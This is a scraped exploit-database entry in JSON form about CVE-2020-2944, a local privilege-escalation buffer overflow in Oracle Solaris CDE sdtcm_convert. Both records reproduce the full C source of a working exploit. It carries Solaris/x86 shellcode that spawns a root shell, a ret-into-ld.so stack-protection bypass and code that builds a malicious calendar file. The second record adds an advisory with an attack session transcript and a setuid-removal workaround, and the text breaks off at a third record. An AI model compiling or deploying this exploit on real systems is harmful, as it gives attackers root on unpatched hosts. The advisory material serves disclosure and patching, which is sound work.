{"id": "1337DAY-ID-34277", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation Exploit", "description": "", "published": "2020-04-21T00:00:00", "modified": "2020-04-21T00:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.2}, "severity": "HIGH", "exploitabilityScore": 3.9, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}, "href": "https://0day.today/exploit/description/34277", "reporter": "Marco Ivaldi", "references": [], "cvelist": ["CVE-2020-2944"], "immutableFields": [], "lastseen": "2023-03-14T00:43:24", "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-2944"]}, {"type": "exploitdb", "idList": ["EDB-ID:48359"]}, {"type": "nessus", "idList": ["SOLARIS_APR2020_SRU11_3_36_20_0.NASL"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2020"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157280"]}, {"type": "zdt", "idList": ["1337DAY-ID-34253"]}], "rev": 4}, "score": {"value": 0.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-2944"]}, {"type": "exploitdb", "idList": ["EDB-ID:48359"]}, {"type": "nessus", "idList": ["SOLARIS_APR2020_SRU11_3_36_20_0.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157280"]}, {"type": "zdt", "idList": ["1337DAY-ID-34253"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2020-2944", "epss": "0.001010000", "percentile": "0.398570000", "modified": "2023-03-16"}], "vulnersScore": 0.2}, "_state": {"dependencies": 1678754835, "score": 1678754633, "epss": 1678993763}, "_internal": {"score_hash": "823e59f59c52ff06843793dc8f2b8d24"}, "sourceHref": "https://0day.today/exploit/34277", "sourceData": "# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation\n# Author: Marco Ivaldi\n# Vendor: www.oracle.com\n# CVE: CVE-2020-2944\n\n/*\n * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\n * Copyright (c) 2019-2020 Marco Ivaldi <[email\u00a0protected]>\n *\n * A buffer overflow in the _SanityCheck() function in the Common Desktop\n * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and\n * earlier allows local users to gain root privileges via a long calendar name\n * or calendar owner passed to sdtcm_convert in a malicious calendar file\n * (CVE-2020-2944).\n *\n * The open source version of CDE (based on the CDE 2.x codebase) is not\n * affected, because it does not ship the vulnerable binary.\n *\n * \"CDE, the gift that keeps on giving\" -- @0xdea\n * \"Feels more like a curse you can't break from this side.\" -- @alanc\n *\n * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack\n * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory\n * space, try returning to sprintf() instead of strcpy().\n *\n * I haven't written a Solaris/SPARC version because I don't have a SPARC box\n * on which Solaris 10 can run. If anybody is kind enough to give me access to\n * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.\n *\n * Usage:\n * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall\n * $ ./raptor_sdtcm_conv\n * [...]\n * Do you want to correct it? (Y/N) [Y] n\n * # id\n * uid=0(root) gid=1(other) egid=12(daemon)\n * #\n *\n * This should work with any common configuration on the first try. To\n * re-enable rpc.cmsd, clear its service maintenance status by running the\n * following commands as root:\n * # /usr/sbin/svcadm clear cde-calendar-manager\n * # /usr/bin/svcs -a | grep calendar\n * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default\n *\n * Tested on:\n * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)\n * [previous Solaris versions are also likely vulnerable]\n */\n\n#include <fcntl.h>\n#include <link.h>\n#include <procfs.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <strings.h>\n#include <unistd.h>\n#include <sys/stat.h>\n#include <sys/systeminfo.h>\n#include <sys/types.h>\n\n#define INFO1\t\"raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\"\n#define INFO2\t\"Copyright (c) 2019-2020 Marco Ivaldi <[email\u00a0protected]>\"\n\n#define\tVULN\t\"/usr/dt/bin/sdtcm_convert\"\t// the vulnerable program\n#define ADMIN\t\"/usr/dt/bin/sdtcm_admin\"\t// calendar admin utility\n#define\tBUFSIZE\t2304\t\t\t\t// size of the name/owner\n#define PAYSIZE\t1024\t\t\t\t// size of the payload\n#define OFFSET\tenv_len / 2\t\t\t// offset to the shellcode\n\nchar sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */\n/* double setuid() */\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\n/* execve() */\n\"\\x31\\xc0\\x50\\x68/ksh\\x68/bin\"\n\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\"\n\"\\x52\\x53\\xb0\\x3b\\x50\\xcd\\x91\";\n\n/* globals */\nchar\t*env[256];\nint\tenv_pos = 0, env_len = 0;\n\n/* prototypes */\nint\tadd_env(char *string);\nvoid\tcheck_zero(int addr, char *pattern);\nint\tsearch_ldso(char *sym);\nint\tsearch_rwx_mem(void);\nvoid\tset_val(char *buf, int pos, int val);\n\n/*\n * main()\n */\nint main(int argc, char **argv)\n{\n\tchar\tbuf[BUFSIZE], payload[PAYSIZE];\n\tchar\tplatform[256], release[256], hostname[256];\n\tint\ti, payaddr;\n\n\tchar\t*arg[3] = {\"foo\", \"hax0r\", NULL};\n\tint\tsb = ((int)argv[0] | 0xfff);\t/* stack base */\n\tint\tret = search_ldso(\"strcpy\");\t/* or sprintf */\n\tint\trwx_mem = search_rwx_mem();\t/* rwx memory */\n\n\tchar\tcmd[1024];\n\tFILE\t*fp;\n\n\t/* print exploit information */\n\tfprintf(stderr, \"%s\\n%s\\n\\n\", INFO1, INFO2);\n\n\t/* read command line */\n\tif (argc != 1) {\n\t\tfprintf(stderr, \"Usage:\\n%s\\n[...]\\n\", argv[0]);\n\t\tfprintf(stderr, \"Do you want to correct it? (Y/N) [Y] n\\n\\n\");\n\t\texit(1);\n\t}\n\n\t/* get system information */\n\tsysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);\n\tsysinfo(SI_RELEASE, release, sizeof(release) - 1);\n\tsysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);\n\n\t/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */\n\tmemset(payload, '\\x90', PAYSIZE);\n\tpayload[PAYSIZE - 1] = 0x0;\n\tmemcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));\n\n\t/* fill the envp, keeping padding */\n\tadd_env(payload);\n\tadd_env(\"HOME=/tmp\");\n\tadd_env(NULL);\n\n\t/* calculate the payload address */\n\tpayaddr = sb - OFFSET;\n\n\t/* prepare the evil palette name */\n\tmemset(buf, 'A', sizeof(buf));\n\tbuf[sizeof(buf) - 1] = 0x0;\n\n\t/* fill with function address in ld.so.1, saved eip, and arguments */\n\tfor (i = 0; i < BUFSIZE - 16; i += 4) {\n\t\tset_val(buf, i, ret);\t\t/* strcpy */\n\t\tset_val(buf, i += 4, rwx_mem);\t/* saved eip */\n\t\tset_val(buf, i += 4, rwx_mem);\t/* 1st argument */\n\t\tset_val(buf, i += 4, payaddr);\t/* 2nd argument */\n\t}\n\n\t/* print some output */\n\tfprintf(stderr, \"Using SI_PLATFORM\\t: %s (%s)\\n\", platform, release);\n\tfprintf(stderr, \"Using SI_HOSTNAME\\t: %s\\n\", hostname);\n\tfprintf(stderr, \"Using stack base\\t: 0x%p\\n\", (void *)sb);\n\tfprintf(stderr, \"Using rwx_mem address\\t: 0x%p\\n\", (void *)rwx_mem);\n\tfprintf(stderr, \"Using payload address\\t: 0x%p\\n\", (void *)payaddr);\n\tfprintf(stderr, \"Using strcpy() address\\t: 0x%p\\n\\n\", (void *)ret);\n\n\t/* create the evil calendar file */\n\tfprintf(stderr, \"Preparing the evil calendar file... \");\n\tsnprintf(cmd, sizeof(cmd), \"%s -a -c [email\u00a0protected]%s\", ADMIN, hostname);\n\tif (system(cmd) == -1) {\n\t\tperror(\"Error creating calendar file\");\n\t\texit(1);\n\t}\n\tif (chmod(\"/usr/spool/calendar/callog.hax0r\", 0660) == -1) {\n\t\tperror(\"Error creating calendar file\");\n\t\texit(1);\n\t}\n\n\t/* prepare the evil calendar file (badchars currently not handled) */\n\tfp = fopen(\"/usr/spool/calendar/callog.hax0r\", \"w\");\n\tif (!fp) {\n\t\tperror(\"Error preparing calendar file\");\n\t\texit(1);\n\t}\n\tfprintf(fp, \"Version: 4\\n(calendarattributes \"\n\t\t \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\\\",\"\n\t\t \"\\\"10:access_list\\\",\\\"world:2\\\")\\n\");\n\t/* buffer overflow in calendar name */\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\n\t\t \"\\\"5:string\\\",\\\"%s\\\")\\n\", buf);\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\n\t\t \"\\\"6:user\\\",\\\"fnord\\\")\\n)\");\n\t/* buffer overflow in calendar owner */\n\t/*\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\n\t\t \"\\\"5:string\\\",\\\"hax0r\\\")\\n\");\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\n\t\t \"\\\"6:user\\\",\\\"%s\\\")\\n)\", buf);\n\t*/\n\tfclose(fp);\n\n\tfprintf(stderr, \"Done.\\n\");\n\n\t/* run the vulnerable program */\n\tfprintf(stderr, \"Exploiting... Please answer \\\"n\\\" when prompted.\\n\");\n\texecve(VULN, arg, env);\n\tperror(\"execve\");\n\texit(0);\n}\n\n/*\n * add_env(): add a variable to envp and pad if needed\n */\nint add_env(char *string)\n{\n\tint\ti;\n\n\t/* null termination */\n\tif (!string) {\n\t\tenv[env_pos] = NULL;\n\t\treturn env_len;\n\t}\n\n\t/* add the variable to envp */\n\tenv[env_pos] = string;\n\tenv_len += strlen(string) + 1;\n\tenv_pos++;\n\n\t/* pad the envp using zeroes */\n\tif ((strlen(string) + 1) % 4)\n\t\tfor (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {\n\t\t\tenv[env_pos] = string + strlen(string);\n\t\t\tenv_len++;\n\t\t}\n\n\treturn env_len;\n}\n\n/*\n * check_zero(): check an address for the presence of a 0x00\n */\nvoid check_zero(int addr, char *pattern)\n{\n\tif (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||\n\t !(addr & 0xff000000)) {\n\t\tfprintf(stderr, \"Error: %s contains a 0x00!\\n\", pattern);\n\t\texit(1);\n\t}\n}\n\n/*\n * search_ldso(): search for a symbol inside ld.so.1\n */\nint search_ldso(char *sym)\n{\n\tint\t\taddr;\n\tvoid\t\t*handle;\n\tLink_map\t*lm;\n\n\t/* open the executable object file */\n\tif ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {\n\t\tperror(\"dlopen\");\n\t\texit(1);\n\t}\n\n\t/* get dynamic load information */\n\tif ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {\n\t\tperror(\"dlinfo\");\n\t\texit(1);\n\t}\n\n\t/* search for the address of the symbol */\n\tif ((addr = (int)dlsym(handle, sym)) == NULL) {\n\t\tfprintf(stderr, \"Sorry, function %s() not found\\n\", sym);\n\t\texit(1);\n\t}\n\n\t/* close the executable object file */\n\tdlclose(handle);\n\n\tcheck_zero(addr - 4, sym);\n\treturn addr;\n}\n\n/*\n * search_rwx_mem(): search for an RWX memory segment valid for all\n * programs (typically, /usr/lib/ld.so.1) using the proc filesystem\n */\nint search_rwx_mem(void)\n{\n\tint\tfd;\n\tchar\ttmp[16];\n\tprmap_t\tmap;\n\tint\taddr = 0, addr_old;\n\n\t/* open the proc filesystem */\n\tsprintf(tmp,\"/proc/%d/map\", (int)getpid());\n\tif ((fd = open(tmp, O_RDONLY)) < 0) {\n\t\tfprintf(stderr, \"Can't open %s\\n\", tmp);\n\t\texit(1);\n\t}\n\n\t/* search for the last RWX memory segment before stack (last - 1) */\n\twhile (read(fd, &map, sizeof(map)))\n\t\tif (map.pr_vaddr)\n\t\t\tif (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {\n\t\t\t\taddr_old = addr;\n\t\t\t\taddr = map.pr_vaddr;\n\t\t\t}\n\tclose(fd);\n\n\t/* add 4 to the exact address NULL bytes */\n\tif (!(addr_old & 0xff))\n\t\taddr_old |= 0x04;\n\tif (!(addr_old & 0xff00))\n\t\taddr_old |= 0x0400;\n\n\treturn addr_old;\n}\n\n/*\n * set_val(): copy a dword inside a buffer (little endian)\n */\nvoid set_val(char *buf, int pos, int val)\n{\n\tbuf[pos] =\t(val & 0x000000ff);\n\tbuf[pos + 1] =\t(val & 0x0000ff00) >> 8;\n\tbuf[pos + 2] =\t(val & 0x00ff0000) >> 16;\n\tbuf[pos + 3] =\t(val & 0xff000000) >> 24;\n}\n", "category": "local exploits", "verified": true}
{"zdt": [{"lastseen": "2023-03-14T00:43:30", "description": "A buffer overflow in the _SanityCheck() function in the Common Desktop Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and earlier allows local users to gain root privileges via a long calendar name or calendar owner passed to sdtcm_convert in a malicious calendar file. The open source version of CDE (based on the CDE 2.x codebase) is not affected, because it does not ship the vulnerable program. Versions 1.6 and below are affected.", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-18T00:00:00", "type": "zdt", "title": "Common Desktop Environment 1.6 Local Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2944"], "modified": "2020-04-18T00:00:00", "id": "1337DAY-ID-34253", "href": "https://0day.today/exploit/description/34253", "sourceData": "Title: Local privilege escalation via CDE sdtcm_convert\n Application: Common Desktop Environment 1.6 and earlier\n Platforms: Oracle Solaris 10 1/13 (Update 11) and earlier\n Other platforms are potentially affected (see below)\n Description: A local attacker can gain root privileges by exploiting a\n buffer overflow in CDE sdtcm_convert\n Author: Marco Ivaldi <[email\u00a0protected]>\n Vendor Status: Oracle <[email\u00a0protected]> notified on 2019-12-08\n CERT/CC notified on 2019-12-09 (tracking VU#308289)\n CVE Name: CVE-2020-2944\n CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)\n References: https://github.com/0xdea/advisories/blob/master/2020-05-cde-sdtcm_convert.txt\n https://www.oracle.com/security-alerts/cpuapr2020.html\n https://www.oracle.com/technetwork/server-storage/solaris10/\n https://www.mediaservice.net/\n https://0xdeadbeef.info/\n\n1. Abstract.\n\nA buffer overflow in the _SanityCheck() function in the Common Desktop\nEnvironment version distributed with Oracle Solaris 10 1/13 (Update 11) and\nearlier allows local users to gain root privileges via a long calendar name or\ncalendar owner passed to sdtcm_convert in a malicious calendar file.\n\nThe open source version of CDE (based on the CDE 2.x codebase) is not affected,\nbecause it does not ship the vulnerable program.\n\n2. Example Attack Session.\n\nbash-3.2$ cat /etc/release\n Oracle Solaris 10 1/13 s10x_u11wos_24a X86\n Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.\n Assembled 17 January 2013\nbash-3.2$ uname -a\nSunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc\nbash-3.2$ id\nuid=54322(raptor) gid=1(other)\nbash-3.2$ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall\nbash-3.2$ ./raptor_sdtcm_conv\nraptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\nCopyright (c) 2019-2020 Marco Ivaldi <[email\u00a0protected]>\n\nUsing SI_PLATFORM : i86pc (5.10)\nUsing SI_HOSTNAME : nostalgia\nUsing stack base : 0x8047fff\nUsing rwx_mem address : 0xfeffa004\nUsing payload address : 0x8047dff\nUsing strcpy() address : 0xfefe26a0\n\nPreparing the evil calendar file... Done.\nExploiting... Please answer \"n\" when prompted.\nLoading the calendar ...\n[...]\nDo you want to correct it? (Y/N) [Y] n\n# id\nuid=0(root) gid=1(other) egid=12(daemon)\n\n3. Affected Platforms.\n\nAll platforms shipping the Common Desktop Environment based on the CDE 1.x\ncodebase are potentially affected. This includes:\n\n* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation]\n\nThe open source version of CDE (based on the CDE 2.x codebase) is not affected,\nbecause it does not ship the vulnerable program.\n\n4. Fix.\n\nOracle has assigned the tracking# S1239395 and has released a fix for all\naffected and supported versions of Solaris in the Critical Patch Update (CPU)\nof April 2020.\n\nAs a workaround, it is also possible to remove the setuid bit from the\nvulnerable executable as follows (note that this might prevent it from working\nproperly):\n\nbash-3.2# chmod -s /usr/dt/bin/sdtcm_convert\n\nPlease note that during the audit many other potentially exploitable bugs have\nsurfaced in sdtcm_convert and in the Common Desktop Environment in general.\nTherefore, removing the setuid bit from all CDE binaries is recommended,\nregardless of patches released by vendors.\n\n5. Proof of Concept.\n\nAn exploit for Oracle Solaris 10 1/13 (Update 11) Intel has been developed as a\nproof of concept. It can be downloaded from:\n\nhttps://github.com/0xdea/exploits/blob/master/solaris/raptor_sdtcm_conv.c\n\nraptor_sdtcm_conv.c proof of concept:\n\n/*\n * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\n * Copyright (c) 2019-2020 Marco Ivaldi <[email\u00a0protected]>\n *\n * A buffer overflow in the _SanityCheck() function in the Common Desktop\n * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and\n * earlier allows local users to gain root privileges via a long calendar name\n * or calendar owner passed to sdtcm_convert in a malicious calendar file\n * (CVE-2020-2944).\n *\n * The open source version of CDE (based on the CDE 2.x codebase) is not\n * affected, because it does not ship the vulnerable binary.\n *\n * \"CDE, the gift that keeps on giving\" -- @0xdea\n * \"Feels more like a curse you can't break from this side.\" -- @alanc\n *\n * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack\n * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory\n * space, try returning to sprintf() instead of strcpy().\n *\n * I haven't written a Solaris/SPARC version because I don't have a SPARC box\n * on which Solaris 10 can run. If anybody is kind enough to give me access to\n * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.\n *\n * Usage:\n * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall\n * $ ./raptor_sdtcm_conv\n * [...]\n * Do you want to correct it? (Y/N) [Y] n\n * # id\n * uid=0(root) gid=1(other) egid=12(daemon)\n * #\n *\n * This should work with any common configuration on the first try. To\n * re-enable rpc.cmsd, clear its service maintenance status by running the\n * following commands as root:\n * # /usr/sbin/svcadm clear cde-calendar-manager\n * # /usr/bin/svcs -a | grep calendar\n * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default\n *\n * Tested on:\n * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)\n * [previous Solaris versions are also likely vulnerable]\n */\n\n#include <fcntl.h>\n#include <link.h>\n#include <procfs.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <strings.h>\n#include <unistd.h>\n#include <sys/stat.h>\n#include <sys/systeminfo.h>\n#include <sys/types.h>\n\n#define INFO1 \"raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\"\n#define INFO2 \"Copyright (c) 2019-2020 Marco Ivaldi <[email\u00a0protected]>\"\n\n#define VULN \"/usr/dt/bin/sdtcm_convert\" // the vulnerable program\n#define ADMIN \"/usr/dt/bin/sdtcm_admin\" // calendar admin utility\n#define BUFSIZE 2304 // size of the name/owner\n#define PAYSIZE 1024 // size of the payload\n#define OFFSET env_len / 2 // offset to the shellcode\n\nchar sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */\n/* double setuid() */\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\n/* execve() */\n\"\\x31\\xc0\\x50\\x68/ksh\\x68/bin\"\n\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\"\n\"\\x52\\x53\\xb0\\x3b\\x50\\xcd\\x91\";\n\n/* globals */\nchar *env[256];\nint env_pos = 0, env_len = 0;\n\n/* prototypes */\nint add_env(char *string);\nvoid check_zero(int addr, char *pattern);\nint search_ldso(char *sym);\nint search_rwx_mem(void);\nvoid set_val(char *buf, int pos, int val);\n\n/*\n * main()\n */\nint main(int argc, char **argv)\n{\n char buf[BUFSIZE], payload[PAYSIZE];\n char platform[256], release[256], hostname[256];\n int i, payaddr;\n\n char *arg[3] = {\"foo\", \"hax0r\", NULL};\n int sb = ((int)argv[0] | 0xfff); /* stack base */\n int ret = search_ldso(\"strcpy\"); /* or sprintf */\n int rwx_mem = search_rwx_mem(); /* rwx memory */\n\n char cmd[1024];\n FILE *fp;\n\n /* print exploit information */\n fprintf(stderr, \"%s\\n%s\\n\\n\", INFO1, INFO2);\n\n /* read command line */\n if (argc != 1) {\n fprintf(stderr, \"Usage:\\n%s\\n[...]\\n\", argv[0]);\n fprintf(stderr, \"Do you want to correct it? (Y/N) [Y] n\\n\\n\");\n exit(1);\n }\n\n /* get system information */\n sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);\n sysinfo(SI_RELEASE, release, sizeof(release) - 1);\n sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);\n\n /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */\n memset(payload, '\\x90', PAYSIZE);\n payload[PAYSIZE - 1] = 0x0;\n memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));\n\n /* fill the envp, keeping padding */\n add_env(payload);\n add_env(\"HOME=/tmp\");\n add_env(NULL);\n\n /* calculate the payload address */\n payaddr = sb - OFFSET;\n\n /* prepare the evil palette name */\n memset(buf, 'A', sizeof(buf));\n buf[sizeof(buf) - 1] = 0x0;\n\n /* fill with function address in ld.so.1, saved eip, and arguments */\n for (i = 0; i < BUFSIZE - 16; i += 4) {\n set_val(buf, i, ret); /* strcpy */\n set_val(buf, i += 4, rwx_mem); /* saved eip */\n set_val(buf, i += 4, rwx_mem); /* 1st argument */\n set_val(buf, i += 4, payaddr); /* 2nd argument */\n }\n\n /* print some output */\n fprintf(stderr, \"Using SI_PLATFORM\\t: %s (%s)\\n\", platform, release);\n fprintf(stderr, \"Using SI_HOSTNAME\\t: %s\\n\", hostname);\n fprintf(stderr, \"Using stack base\\t: 0x%p\\n\", (void *)sb);\n fprintf(stderr, \"Using rwx_mem address\\t: 0x%p\\n\", (void *)rwx_mem);\n fprintf(stderr, \"Using payload address\\t: 0x%p\\n\", (void *)payaddr);\n fprintf(stderr, \"Using strcpy() address\\t: 0x%p\\n\\n\", (void *)ret);\n\n /* create the evil calendar file */\n fprintf(stderr, \"Preparing the evil calendar file... \");\n snprintf(cmd, sizeof(cmd), \"%s -a -c [email\u00a0protected]%s\", ADMIN, hostname);\n if (system(cmd) == -1) {\n perror(\"Error creating calendar file\");\n exit(1);\n }\n if (chmod(\"/usr/spool/calendar/callog.hax0r\", 0660) == -1) {\n perror(\"Error creating calendar file\");\n exit(1);\n }\n\n /* prepare the evil calendar file (badchars currently not handled) */\n fp = fopen(\"/usr/spool/calendar/callog.hax0r\", \"w\");\n if (!fp) {\n perror(\"Error preparing calendar file\");\n exit(1);\n }\n fprintf(fp, \"Version: 4\\n(calendarattributes \"\n \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\\\",\"\n \"\\\"10:access_list\\\",\\\"world:2\\\")\\n\");\n /* buffer overflow in calendar name */\n fprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\n \"\\\"5:string\\\",\\\"%s\\\")\\n\", buf);\n fprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\n \"\\\"6:user\\\",\\\"fnord\\\")\\n)\");\n /* buffer overflow in calendar owner */\n /*\n fprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\n \"\\\"5:string\\\",\\\"hax0r\\\")\\n\");\n fprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\n \"\\\"6:user\\\",\\\"%s\\\")\\n)\", buf);\n */\n fclose(fp);\n\n fprintf(stderr, \"Done.\\n\");\n\n /* run the vulnerable program */\n fprintf(stderr, \"Exploiting... Please answer \\\"n\\\" when prompted.\\n\");\n execve(VULN, arg, env);\n perror(\"execve\");\n exit(0);\n}\n\n/*\n * add_env(): add a variable to envp and pad if needed\n */\nint add_env(char *string)\n{\n int i;\n\n /* null termination */\n if (!string) {\n env[env_pos] = NULL;\n return env_len;\n }\n\n /* add the variable to envp */\n env[env_pos] = string;\n env_len += strlen(string) + 1;\n env_pos++;\n\n /* pad the envp using zeroes */\n if ((strlen(string) + 1) % 4)\n for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {\n env[env_pos] = string + strlen(string);\n env_len++;\n }\n\n return env_len;\n}\n\n/*\n * check_zero(): check an address for the presence of a 0x00\n */\nvoid check_zero(int addr, char *pattern)\n{\n if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||\n !(addr & 0xff000000)) {\n fprintf(stderr, \"Error: %s contains a 0x00!\\n\", pattern);\n exit(1);\n }\n}\n\n/*\n * search_ldso(): search for a symbol inside ld.so.1\n */\nint search_ldso(char *sym)\n{\n int addr;\n void *handle;\n Link_map *lm;\n\n /* open the executable object file */\n if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {\n perror(\"dlopen\");\n exit(1);\n }\n\n /* get dynamic load information */\n if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {\n perror(\"dlinfo\");\n exit(1);\n }\n\n /* search for the address of the symbol */\n if ((addr = (int)dlsym(handle, sym)) == NULL) {\n fprintf(stderr, \"Sorry, function %s() not found\\n\", sym);\n exit(1);\n }\n\n /* close the executable object file */\n dlclose(handle);\n\n check_zero(addr - 4, sym);\n return addr;\n}\n\n/*\n * search_rwx_mem(): search for an RWX memory segment valid for all\n * programs (typically, /usr/lib/ld.so.1) using the proc filesystem\n */\nint search_rwx_mem(void)\n{\n int fd;\n char tmp[16];\n prmap_t map;\n int addr = 0, addr_old;\n\n /* open the proc filesystem */\n sprintf(tmp,\"/proc/%d/map\", (int)getpid());\n if ((fd = open(tmp, O_RDONLY)) < 0) {\n fprintf(stderr, \"Can't open %s\\n\", tmp);\n exit(1);\n }\n\n /* search for the last RWX memory segment before stack (last - 1) */\n while (read(fd, &map, sizeof(map)))\n if (map.pr_vaddr)\n if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {\n addr_old = addr;\n addr = map.pr_vaddr;\n }\n close(fd);\n\n /* add 4 to the exact address NULL bytes */\n if (!(addr_old & 0xff))\n addr_old |= 0x04;\n if (!(addr_old & 0xff00))\n addr_old |= 0x0400;\n\n return addr_old;\n}\n\n/*\n * set_val(): copy a dword inside a buffer (little endian)\n */\nvoid set_val(char *buf, int pos, int val)\n{\n buf[pos] = (val & 0x000000ff);\n buf[pos + 1] = (val & 0x0000ff00) >> 8;\n buf[pos + 2] = (val & 0x00ff0000) >> 16;\n buf[pos + 3] = (val & 0xff000000) >> 24;\n}\n", "sourceHref": "https://0day.today/exploit/34253", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2020-04-20T07:52:01", "description": 